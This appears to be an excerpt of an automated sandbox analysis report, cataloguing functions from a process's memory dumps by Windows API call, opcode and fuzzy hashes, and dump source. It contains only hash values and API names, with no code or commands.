API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 852ed6c36ea3000b2ba79986b9948dcc8889a7f74542a579562575f5f221f3f6
Instruction ID: 92be9d8a76967062f2273d058655125ffacd22f2a940ad55690e0214d9b951ca
Opcode Fuzzy Hash: 852ed6c36ea3000b2ba79986b9948dcc8889a7f74542a579562575f5f221f3f6
Instruction Fuzzy Hash: 2F11E075408384AFDB228F11DC45F62FFB0EF06320F09C08AEE844B662C275A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FB2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 003FB329

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 959e82e97c16534fd5158e3506da0e231d2f4fc49f8462095427ad2e012d3f97
Instruction ID: b6cda53c237a40fde09ca84571c2e52211dec0b33c4b0a63be43f4ad0dfa9671
Opcode Fuzzy Hash: 959e82e97c16534fd5158e3506da0e231d2f4fc49f8462095427ad2e012d3f97
Instruction Fuzzy Hash: BF01AD79400744DFEB218F05D885B21FBA0EF14721F18C09ADE894B622C371A418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D8096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,C966100A,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 01D8099C

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 43a1639bb1e8ee14fe53c94c90e228a1f34c2c734328c78e33c9746a529d2703
Instruction ID: 8f21d9536fe8001cc27ee8dee2b0eee732e8a6f6db9c5f77a9334f4a158968f4
Opcode Fuzzy Hash: 43a1639bb1e8ee14fe53c94c90e228a1f34c2c734328c78e33c9746a529d2703
Instruction Fuzzy Hash: B6F0C235904740DFEB20EF05D885765FBA0EF05721F08C09AED894B766D275E508CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 02A587A0, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

*_qq, xrefs: 02A58C01
(, xrefs: 02A58DA4

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID: ($*_qq
API String ID: 0-3610607862
Opcode ID: 3df80fff21662177ad29bf90bdb9392392955748fea98f7b047c182e946244fd
Instruction ID: e92a7ab24389980aace1f7703ae4712cb4b764c405e7b0ee4672b6e9c9812ff4
Opcode Fuzzy Hash: 3df80fff21662177ad29bf90bdb9392392955748fea98f7b047c182e946244fd
Instruction Fuzzy Hash: 7A717631E01269CFDB54DB65C8517AFB7B2AF84300F1484AAD90ABB290DF785D81CF96

Uniqueness

Uniqueness Score: -1.00%

Function 02A588D6, Relevance: 2.6, Strings: 2, Instructions: 116COMMON

Download Yara Rule

Strings

*_qq, xrefs: 02A58C01
(, xrefs: 02A58DA4

Memory Dump Source

Source File: 0000000C.00000002.2253942436.0000000002A50000.00000040.00000001.sdmp, Offset: 02A50000, based on PE: false

Similarity

API ID:
String ID: ($*_qq
API String ID: 0-3610607862
Opcode ID: 8a6617b9fd3c04e30a3cbcf907dee6825d9437f57aea1de66e813097964fac37
Instruction ID: ab7ed3ed2c0023711d39c54ccc8a37b5d0ee348dc856ad772508e80f244a21ba
Opcode Fuzzy Hash: 8a6617b9fd3c04e30a3cbcf907dee6825d9437f57aea1de66e813097964fac37
Instruction Fuzzy Hash: 02412F34A01269CFDB68EB65CD507AEB7B2BF84304F1484A9C90A6B291DF355D81CF52

Uniqueness

Uniqueness Score: -1.00%

Function 01D81DDC, Relevance: 1.6, APIs: 1, Instructions: 127networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 01D81EC6

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 1d0060d129734b8142a35552f7cb8590a310115809d733a2dc3cda822e0a1e99
Instruction ID: e0fae5aa5bd200bf22ba0bec59d5ed3d9705b1f00ae6cfc121850d457cfcc45d
Opcode Fuzzy Hash: 1d0060d129734b8142a35552f7cb8590a310115809d733a2dc3cda822e0a1e99
Instruction Fuzzy Hash: 36415D7140E7C0AFD7239B648C65A55BFB4AF07210F0A85DBE8C5CF5A3C2699809C772

Uniqueness

Uniqueness Score: -1.00%

Function 01D837BF, Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E9C), ref: 01D83897

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: f2fda8f38cda57df60d5a6daa952d26ad3a8ae5ec76a149495d3b4c63866218f
Instruction ID: 707875b87c3b5c3750495c97f4aacc3d0cbbcbb061f25295c47b7ef6dbe296c8
Opcode Fuzzy Hash: f2fda8f38cda57df60d5a6daa952d26ad3a8ae5ec76a149495d3b4c63866218f
Instruction Fuzzy Hash: 3131D2B1544380AFE722DF60CC85FA7BBACEF05710F04449AFA849B192D379A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D80118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 01D801D0

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: ba9f4bc3aa5c8d45504eb8a1ddbb028015bc54f71b07b00f224ac73f83b26aee
Instruction ID: 047879e9d203295cec94ce4fde5ed9ca60cb942576b7d8d593babe284ff1264e
Opcode Fuzzy Hash: ba9f4bc3aa5c8d45504eb8a1ddbb028015bc54f71b07b00f224ac73f83b26aee
Instruction Fuzzy Hash: 37314A7650E7C08FE7138B759C65692BFB4AF07220F0E84DBD884CF1A3D6659809D762

Uniqueness

Uniqueness Score: -1.00%

Function 01D81BEC, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 01D81C8B

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a4e0ea377c5fd551c6a4135e4656da9f31f086ad9a1f51f0e4a48131dbe0e150
Instruction ID: c22227bab94b1c3dc02d5edd71cdfcd6542e762987c64aa02ebc999e34fdd4db
Opcode Fuzzy Hash: a4e0ea377c5fd551c6a4135e4656da9f31f086ad9a1f51f0e4a48131dbe0e150
Instruction Fuzzy Hash: A031D172504344AFEB22CF61CC45FA7FBACEF05250F08899AF985DB152D635A90ACB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D8067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 01D8072D

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f05e98169fc697882ef7cd3ceefcf9f924b32837e1b51f19a55dc8ffc8287e1c
Instruction ID: 30fdc8a06e2b44b7b76732e282ccb79bace4dddafcec7042f192ba6be12d0683
Opcode Fuzzy Hash: f05e98169fc697882ef7cd3ceefcf9f924b32837e1b51f19a55dc8ffc8287e1c
Instruction Fuzzy Hash: B6316271509380AFE722DF65CC45F56BFF8EF0A210F09849EE9858B293D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D80D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 01D80DD6

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 51985548f030ccaac145af180585ba2c107d9ac188469cae4bb6b8dbcf45bf39
Instruction ID: ba1e433a7f1c05065ba53e7b78788acc87f32966bc1e7decd39a2bf6aee1ebe4
Opcode Fuzzy Hash: 51985548f030ccaac145af180585ba2c107d9ac188469cae4bb6b8dbcf45bf39
Instruction Fuzzy Hash: 12318671509380AFE712DB25DC45B96BFE8DF06214F0884AAF984CF293D275A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 003FAF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 003FAFBE

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: ce0ad49f9369098dc1bc91e3c7a100dad12dca723cae8e3e8d7563e54ab27837
Instruction ID: 9d0ff587ddbc1e7f76d6878cdfa259541e9f2971bf4c4e36285577150a31cb76
Opcode Fuzzy Hash: ce0ad49f9369098dc1bc91e3c7a100dad12dca723cae8e3e8d7563e54ab27837
Instruction Fuzzy Hash: A321D5B2509780AFE7128F20DC45BA6BFB8EF06320F0984DAE985DB1A3C6259945C761

Uniqueness

Uniqueness Score: -1.00%

Function 003FBD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 003FBDBC

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 5069d03c324a9819cc72ec4741cec05e439df381ff0d7e0f6bf69a19ea7c5f56
Instruction ID: 96cdcb028fffaa3422dbae70c44c9f3db6a6ed9ca6ca3bdc63685ba2e6ddbf87
Opcode Fuzzy Hash: 5069d03c324a9819cc72ec4741cec05e439df381ff0d7e0f6bf69a19ea7c5f56
Instruction Fuzzy Hash: 7831C571409384AFE722CB60DC55F96BFB8EF06310F0984DBF985CB192D224A908C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 01D80FEE, Relevance: 1.6, APIs: 1, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateChain.CRYPT32(?,00000E9C,?,?), ref: 01D8109E

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CertCertificateChain
String ID:
API String ID: 3019455780-0
Opcode ID: 1ba3b63bb6390b73681e73627deac3c321c725bd1fece0deff504dc4f4784cac
Instruction ID: 661cefbc6f73feddb6ff750824ba027d33ee76068ac7d10b70907ab4cd6e4799
Opcode Fuzzy Hash: 1ba3b63bb6390b73681e73627deac3c321c725bd1fece0deff504dc4f4784cac
Instruction Fuzzy Hash: 7831807550E3C0AFD3138B258C55B66BFB4AF43610F1A81DBD8848F5A3D6296909C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 01D827AD, Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 01D8284D

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 41492bffb55add850731a02f09e0821a8344b0b18cc7cc8ab3c94caf9edf7c6c
Instruction ID: 5c84785f864c93c99d4f1441c8cd36ea74d8c3957334645d2d5f74205eb06b6e
Opcode Fuzzy Hash: 41492bffb55add850731a02f09e0821a8344b0b18cc7cc8ab3c94caf9edf7c6c
Instruction Fuzzy Hash: 233182B1505384AFE712DF25CC45F56FFF8EF05310F0884AAE9888B292D365A904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D837F2, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E9C), ref: 01D83897

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 7618ca274960b629234d6074697ca27054b3b9523021e8735dfc2f43316b8a68
Instruction ID: bb49c6aaecf5b00c1c5606359eb1330a2a8f2a08396dd3e65053633dcf0db95a
Opcode Fuzzy Hash: 7618ca274960b629234d6074697ca27054b3b9523021e8735dfc2f43316b8a68
Instruction Fuzzy Hash: 8621BF71540300BFFB21EF50CC85FAAFBACEF04710F00885AFA489A181D675E9088B61

Uniqueness

Uniqueness Score: -1.00%

Function 01D82503, Relevance: 1.6, APIs: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 01D825AA

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: d844df47a9559765d2027a01ba308ea55f95270d6d81c3c7edd9c38ac9c2eb74
Instruction ID: 7bada3f5c396c661926fa83ed6a1f122e1f0d6b1f3e17444fcb32185639a651e
Opcode Fuzzy Hash: d844df47a9559765d2027a01ba308ea55f95270d6d81c3c7edd9c38ac9c2eb74
Instruction Fuzzy Hash: 1F31B172409384AFE722CF55CC45F56FFF8EF06310F08859AE9858B192D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D82E2C, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000E9C), ref: 01D82EC5

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: bc0ffcc7f26b757fb3739176fef67ebc027a790a972a09d26067839df9d7f254
Instruction ID: 674caee4bbc61cabe4ffd18895a2564c742da2f84be06bafb78295be0e452c15
Opcode Fuzzy Hash: bc0ffcc7f26b757fb3739176fef67ebc027a790a972a09d26067839df9d7f254
Instruction Fuzzy Hash: 1321E172408384AFEB12CB249C45FA6BFB8EF06310F0884DBF9448F193C264A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D83026, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D830D0

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: ab07ed94321209caf42be65fde6f699fde97c92cf9ab5f39e6e652bcc4e99200
Instruction ID: 759671a5ad5b5c15c6babf7b5062270c7d1c87b5dbcdcf579309cdf4a30aa751
Opcode Fuzzy Hash: ab07ed94321209caf42be65fde6f699fde97c92cf9ab5f39e6e652bcc4e99200
Instruction Fuzzy Hash: 4431D572405384AFEB22CF10DC45F96FFB8EF06710F08859AE9459B153D234A509CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 003FB01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 003FB0AE

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: c86c7bf2f43b88e2478d18be2f984f546fbbf2731704be7931e760126a1458d2
Instruction ID: ec94ad5754332172e5ad90435e6bbf4d3cc92d341d5c0fbb350f1d608a52ff49
Opcode Fuzzy Hash: c86c7bf2f43b88e2478d18be2f984f546fbbf2731704be7931e760126a1458d2
Instruction Fuzzy Hash: B92194B1505384AFE722CF15CC45FA7FFA8EF06310F0984AAE945DB152D764E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D81C0E, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 01D81C8B

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5f1d96bf76876b0c22f76d31c181b9eb8ddf0386454c2ef8428dd6f5b88de5ac
Instruction ID: 01e09acf8baf3e5289a44d167becf33bcdd3c57252d2aab95279dba4135d8e7f
Opcode Fuzzy Hash: 5f1d96bf76876b0c22f76d31c181b9eb8ddf0386454c2ef8428dd6f5b88de5ac
Instruction Fuzzy Hash: C621BA72500704EFEB21DF65CC85FAAFBACEF04250F04896AF946CA651D631E9098BB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D82988, Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D82A11

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 51f15b10b51e1fa479a429bf6445d10046512d7da02206028f8e87b3075870f8
Instruction ID: 2aa20788aafd6554bdfa5c7212c04712fa5dd728ec0df9b89dd960f15892b8af
Opcode Fuzzy Hash: 51f15b10b51e1fa479a429bf6445d10046512d7da02206028f8e87b3075870f8
Instruction Fuzzy Hash: 2021C471505780AFEB22CF50DC45FA7FFB8EF06310F08849AF9459B192D235A909CB65

Uniqueness

Uniqueness Score: -1.00%

Function 003FA1A8, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 003FA23E

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 170318be902d1c8bbe2f78e410e8be6783d2a56972c5a5f9ef881b5f657c04c2
Instruction ID: 4e9a871426104af7b222fed3d0ee666c8e1f1678e23e210b41767db47c8fe57b
Opcode Fuzzy Hash: 170318be902d1c8bbe2f78e410e8be6783d2a56972c5a5f9ef881b5f657c04c2
Instruction Fuzzy Hash: E821B57140D7C0AFD312CB258C55B66BFB4EF47620F0985DBD8848F593D229A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01D80784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D80819

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: d1f5c20e57114f466fd5ff4bfd218adfbf456ff6998ac97cb17fa6bf4729f9d0
Instruction ID: 092327aff79823daae7badae413d19fce7b3d825de571519d0a80557410f167b
Opcode Fuzzy Hash: d1f5c20e57114f466fd5ff4bfd218adfbf456ff6998ac97cb17fa6bf4729f9d0
Instruction Fuzzy Hash: AA21DA76408780AFE712DB159C45FA3BFB8EF46720F1981DBF9858B193D224A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 01D82416, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 01D824A1

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 1a8446c166f342856c8c6bf7a6f3871cc15a4725d3df46466ed950c4f8c9e1a5
Instruction ID: 06c2f6c97abd33ddf1ecdecff2574f6d2aebb97cecc50a469b6097122d97577b
Opcode Fuzzy Hash: 1a8446c166f342856c8c6bf7a6f3871cc15a4725d3df46466ed950c4f8c9e1a5
Instruction Fuzzy Hash: EB2183B1505780AFE721DF59DC45F66FFA8EF05310F0884AAED888B292D375A904CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01D80464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 01D80502

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: d561e7defc007f109e7a8ce60b9e22718af261c739da13097ed301b3c593406f
Instruction ID: ff8ccb6893a8b8b884617d7101cd94d9ea87ff816a2fa17cea6f87988e294008
Opcode Fuzzy Hash: d561e7defc007f109e7a8ce60b9e22718af261c739da13097ed301b3c593406f
Instruction Fuzzy Hash: 32217F7540E7C0AFD3128B358C55B66BFB4EF47610F1A81CBD8848F6A3D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 01D81F1F, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 01D81F9C

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: a0cf364e05d5e72a9fea3c92f203cfcf022a5d4637e7da70793158a173fd513d
Instruction ID: 46ad4244bb22bea333363a82787bc52cadfbfc54c28834e0bb820230854a9987
Opcode Fuzzy Hash: a0cf364e05d5e72a9fea3c92f203cfcf022a5d4637e7da70793158a173fd513d
Instruction Fuzzy Hash: 0B219C724093C0AFDB238F259C55AA2BFB4EF17220F0984DAED848F163C2259949DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D806AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 01D8072D

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9a4241329eea519a231024b179707e3b2c4fad7a711109c0bd2115c462112ccb
Instruction ID: 3682be7b191a834db903455435a6403058e8ca739ab99b1f2897a82640d59afb
Opcode Fuzzy Hash: 9a4241329eea519a231024b179707e3b2c4fad7a711109c0bd2115c462112ccb
Instruction Fuzzy Hash: A1219071500704EFEB21EF65CD85F66FBE8EF08750F04846AE9898B692D771E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D80854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D808E5

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 34515f89f4a9201cf3f4d6d20983e970877a038759ed5f353e427a9605fb8855
Instruction ID: e8b66627b7b48bdea5bed78031f262439b2aeceef5a1330f5db9618116713ad8
Opcode Fuzzy Hash: 34515f89f4a9201cf3f4d6d20983e970877a038759ed5f353e427a9605fb8855
Instruction Fuzzy Hash: C2219072409380AFE722CF51DC44F96BFB8EF06314F09859BE9849B193C265A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 003FA8B4, Relevance: 1.6, APIs: 1, Instructions: 74threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 003FA94A

Memory Dump Source

Source File: 0000000C.00000002.2241253226.00000000003FA000.00000040.00000001.sdmp, Offset: 003FA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 50f8cc3bf0841f5a006e652bb7f5963061fc0bfee7f1ac7dfe5a00bdd38cfac4
Instruction ID: 021b4d86291f8579966f09fbbcdda73dc94a8fe52393bfc07daf3037be23c0a3
Opcode Fuzzy Hash: 50f8cc3bf0841f5a006e652bb7f5963061fc0bfee7f1ac7dfe5a00bdd38cfac4
Instruction Fuzzy Hash: F821A77540D780AFD3138B25DC51B62BFB4EF87710F1A81DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 01D839A2, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D83A31

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 524e2a8dbbc7ceb7e97ecffeb3d0484e9e10deea17038233f55e61d63f8d65eb
Instruction ID: ddd3310085b597703acc9ba2f28b14d7a3e1ae4c5ab4ec9992ee7d8f1968007e
Opcode Fuzzy Hash: 524e2a8dbbc7ceb7e97ecffeb3d0484e9e10deea17038233f55e61d63f8d65eb
Instruction Fuzzy Hash: 2721B371409780AFE7228F11DC85F96FFB8EF06710F0885CBE9859B193D265A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 01D827DA, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 01D8284D

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: eff5bb80a635660abb5599f436197d1f4efef86ff7eae0b51a052ec69be2209f
Instruction ID: 5f78ba41e165e86dacc6ac9358bdfcca049b34043445265a0813c412bc7dd792
Opcode Fuzzy Hash: eff5bb80a635660abb5599f436197d1f4efef86ff7eae0b51a052ec69be2209f
Instruction Fuzzy Hash: 8B218E71500344AFFB21EF25DD85BA6FBE8EF08710F04846AED488B282D675E904CA65

Uniqueness

Uniqueness Score: -1.00%

Function 01D846A6, Relevance: 1.6, APIs: 1, Instructions: 72encryptionCOMMON

Download Yara Rule

APIs

CertVerifyCertificateChainPolicy.CRYPT32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D8472E

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: CertCertificateChainPolicyVerify
String ID:
API String ID: 3930008701-0
Opcode ID: ab7110a7e9675fa76e2e12ce2f0c79e5bbef15a633d54cb5e4db9bdc69dcb59b
Instruction ID: 49eb1cdbb24caf837d2345aa2d6dcf491c681cbf1b913debce869b872f778b19
Opcode Fuzzy Hash: ab7110a7e9675fa76e2e12ce2f0c79e5bbef15a633d54cb5e4db9bdc69dcb59b
Instruction Fuzzy Hash: B7217F71409380AFEB22CF14DC45FA6FFA8EF46250F18859AE9489A192C365A508CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01D82D60, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

RasConnectionNotificationA.RASAPI32(?,00000E9C,C966100A,00000000,00000000,00000000,00000000), ref: 01D82DEF

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 751eacb756f52e165a41d71815ef1c671398dbb36f63e8f3ce90a4ccce0ce555
Instruction ID: e13058b7770f676924fb10e0e831ae68e7f3381e50c940929bdf055ab7f566cc
Opcode Fuzzy Hash: 751eacb756f52e165a41d71815ef1c671398dbb36f63e8f3ce90a4ccce0ce555
Instruction Fuzzy Hash: 2621C271409384AFE7228B10DC45FA6FFB8EF06314F0984DBF9849B193D264A908CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D80D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 01D80DD6

Memory Dump Source

Source File: 0000000C.00000002.2242257684.0000000001D80000.00000040.00000001.sdmp, Offset: 01D80000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: d31cb412f338d388428196147c06a2ce51d21245c79915268b84bfdaa9c825d1
Instruction ID: af3620852982fa9051049b63fa5a5547b9abea38dab988ce2064b0e503941ca3
